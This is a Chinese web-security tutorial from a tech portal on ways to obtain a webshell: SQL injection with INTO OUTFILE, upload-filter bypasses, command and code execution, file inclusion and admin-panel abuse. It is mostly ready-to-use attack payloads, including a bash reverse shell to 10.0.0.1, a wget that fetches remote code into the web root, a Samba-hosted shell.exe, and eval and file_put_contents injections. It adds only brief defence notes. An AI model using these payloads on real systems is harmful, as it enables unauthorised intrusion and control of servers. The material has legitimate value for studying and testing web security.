频道栏目
首页 > 安全 > 网络安全 > 正文

Web安全之如何获取一个WebShell

2016-09-20 09:12:59      个评论      
收藏   我要投稿

SQL注入获取Webshell

条件:

1.当前连接Mysql数据库的账户 具有FIle权限

2. 知道网站的绝对路径

利用php报错信息

Google搜索报错信息

load_file()读取配置文件信息

3. MySQL有权限到网站的目录下写文件

4. 单引号不能被转义

利用:

union select '' into outfile '/var/www/html/1.php'

防御:

数据库连接账号不要使用root权限

PHP报错模式关闭

mysql账户没有权限向网站目录写文件

上传漏洞获取Webshell

条件:

寻找一个上传点,查看上传点是否可用。

利用:

首先判断是程序员自己写的上传点,还是编辑器的上传功能

如果是编辑器上传功能,goole当前编辑器的漏洞

如果是程序员写的上传点

上传一个正常的jpg图片 查看上传点是否可用

上传一个正常的jpg图片,burp拦截,修改后缀为php (可以检测 前端验证 MIME检测 文件内容检测 后缀检测)

上传一个正常的jpg图片,burp拦截, 00截断 1.phph%00.jpg

判断服务器是什么类型,web服务器程序,是什么类型,版本号多少

利用解析漏洞

任意命令执行获取Webshell

条件:

知道网站绝对路径

利用代码执行漏洞读取Apache配置文件,找根目录

执行pwd,获取当前工作路径

Apache 权限对网站目录写文件

网站图片上传目录,一般apache都有可写权限

利用:

index.php?command=echo "" > /var/www/html/phpinfo.php

index.php?command=wget -O /var/www/html/phpinfo.php http://xxxx/phpinfo.txt (wget 没有的话用curl)

防御:

修补命令执行漏洞

其它:

任意命令执行漏洞在不获取webshell 的情况下也可以控制服务器,不需要获取webshell

任意命令执行直接反弹一个shell

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

任意命令执行可以,执行远程Samba里面的位二进制文件

\\10.0.0.1\shell.exe (远程服务器上的Samba服务)

powershell

任意代码执行获取Webshell

条件:

apache对网站目录有可写权限 (一般都有权限)

利用:

在有写权限,且file_put_contents没有被禁用时

index.php?code=file_put_contents($_POST[f], $_POST[d]);f=phpinfo.php&d=

在没有写权限的时候,可以直接用菜刀链接

index.php?code={${ eval($_POST[1]); }}

任意文件包含获取Webshell

条件:

在引用文件时,引用的文件名,用户可控,由于传入的文件名没有经过校验,或者校验被绕过。

利用:

本地文件包含:

上传一个图片马,然后包含图片Getshell

包含日志文件Getshell

包含/proc/self/environ文件Getshell

包含data://或php:input等伪协议(需要allow_url_include=on)

远程文件包含:

需要php.ini的配置选项allow_url_fopen和allow_url_include 为On (很少见)

index.php?page=http://www.xx.com/1.txt

后台相关功能获取Webshell

一些后台自带有数据库管理执行sql语句、或者执行cmd命令、数据库备份/恢复功能、文件管理功能等等

上一篇:DedeCms利用Csrf创建文件与执行sql语句进行getshell过程与思路
下一篇:“奥巴马时代”10大网络安全成就解读
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站